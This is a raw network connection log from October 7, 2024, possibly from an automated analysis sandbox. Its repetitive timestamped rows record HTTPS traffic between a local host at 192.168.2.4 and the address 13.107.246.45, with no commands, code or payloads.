Oct 7, 2024 18:43:58.610817909 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.610845089 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.611088037 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.611110926 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.611567020 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.611571074 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.611942053 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.611948967 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.612608910 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.612613916 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.663885117 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.692890882 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.692970991 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.702991009 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.703006983 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793088913 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793131113 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793216944 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793303967 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.793705940 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793732882 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793827057 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.793843985 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.794373989 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.794553041 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.794570923 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.794892073 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.794953108 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.794985056 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.795438051 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.854652882 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.854682922 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.854695082 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.854695082 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.854701996 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.854712009 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.856542110 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.856542110 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.856587887 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.856605053 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.857537985 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.857573032 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.857608080 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.857616901 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.858198881 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.858283043 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.858690977 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.859260082 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.859280109 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.859519005 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.859554052 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.859630108 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.859755993 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.859766960 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.860902071 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.860996008 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.861037016 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.861063957 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.861090899 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.861151934 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.861222982 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.861246109 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.861362934 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.861385107 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.905236006 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.905303955 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.905369997 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.905421972 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.905457973 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.905478001 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.905514002 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.905653954 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.905682087 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.905699968 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.905716896 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.908941984 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.908982992 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.909079075 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.909236908 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.909250975 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.546305895 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.546928883 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.546967983 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.547600985 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.547615051 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.556494951 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.557018042 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.557045937 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.557637930 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.557651043 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.561770916 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.562196970 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.562228918 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.562675953 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.562685013 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.562978983 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.563263893 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.563277006 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.563761950 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.563769102 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.576430082 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.576827049 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.576853037 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.577357054 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.577364922 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.642465115 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.642630100 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.642690897 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.642812014 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.642834902 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.642849922 CEST	53651	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.642854929 CEST	443	53651	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.647252083 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.647286892 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.647341013 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.647748947 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.647762060 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.673365116 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.673444986 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.673485994 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.673706055 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.673728943 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.673744917 CEST	53652	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.673749924 CEST	443	53652	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.677339077 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.677375078 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.678047895 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.678205013 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.678257942 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.678277969 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.678318977 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.678349972 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.678385019 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.679037094 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.679052114 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.679069042 CEST	53653	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.679075003 CEST	443	53653	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.680951118 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.681004047 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.681054115 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.681241989 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.681258917 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.681271076 CEST	53655	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.681277037 CEST	443	53655	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.683415890 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.683415890 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.683442116 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.683460951 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.683489084 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.683489084 CEST	53654	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.683501959 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.683502913 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.683511972 CEST	443	53654	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.683677912 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.683691025 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.685619116 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.685637951 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.685699940 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.686135054 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.686145067 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.686289072 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.686332941 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:59.686386108 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.686484098 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:59.686499119 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.358724117 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.359632969 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.359661102 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.360204935 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.360213995 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.408325911 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.408826113 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.408839941 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.409327984 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.409332037 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.442245007 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.442800999 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.442819118 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.443376064 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.443380117 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.444700003 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.445168018 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.445177078 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.445557117 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.445563078 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.457393885 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.457485914 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.457696915 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.457745075 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.457770109 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.457786083 CEST	53660	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.457793951 CEST	443	53660	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.460663080 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.460715055 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.460891008 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.461044073 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.461055040 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.503593922 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.503688097 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.505454063 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.505912066 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.505933046 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.505944967 CEST	53656	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.505950928 CEST	443	53656	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.513765097 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.515134096 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.515193939 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.515299082 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.515777111 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.515794039 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.516277075 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.516283035 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.516442060 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.516465902 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.539983034 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.540057898 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.541429043 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.541702032 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.541724920 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.541734934 CEST	53658	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.541739941 CEST	443	53658	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.542046070 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.542136908 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.544759989 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.544821978 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.544910908 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.544939995 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.544940948 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.544940948 CEST	53657	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.544948101 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.544955015 CEST	443	53657	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.546049118 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.546068907 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.547139883 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.547152996 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.549400091 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.549544096 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.549557924 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.628921986 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.629003048 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.632206917 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.632397890 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.632420063 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.632432938 CEST	53659	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.632440090 CEST	443	53659	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.635427952 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.635485888 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:00.637402058 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.637542009 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:00.637557983 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.068748951 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.072408915 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.072433949 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.072834969 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.072840929 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.162477970 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.162513971 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.162821054 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.163340092 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.163382053 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.163779974 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.163794041 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.163997889 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.164063931 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.164290905 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.164307117 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.164450884 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.164467096 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.164736032 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.164747000 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.170046091 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.170118093 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.173413038 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.173563957 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.173563957 CEST	53661	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.173600912 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.173624039 CEST	443	53661	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.176071882 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.176124096 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.177443027 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.177707911 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.177721977 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.247538090 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.249975920 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.250044107 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.250293016 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.250310898 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.256706953 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.256861925 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.256932974 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.261904955 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.261908054 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.261980057 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.261992931 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.262044907 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.265372992 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.283262968 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.283262968 CEST	53664	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.283317089 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.283343077 CEST	443	53664	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.283427000 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.283468008 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.283514023 CEST	53662	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.283528090 CEST	443	53662	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.285480976 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.285480976 CEST	53663	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.285501003 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.285522938 CEST	443	53663	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.288204908 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.288249969 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.288259029 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.288290024 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.288353920 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.288363934 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.288536072 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.288552046 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.288609028 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.288615942 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.289169073 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.289197922 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.289385080 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.289494038 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.289505959 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.344494104 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.344644070 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.344912052 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.379475117 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.379475117 CEST	53665	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.379537106 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.379569054 CEST	443	53665	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.383210897 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.383245945 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.383382082 CEST	53670	443	192.168.2.4	13.107.246.45
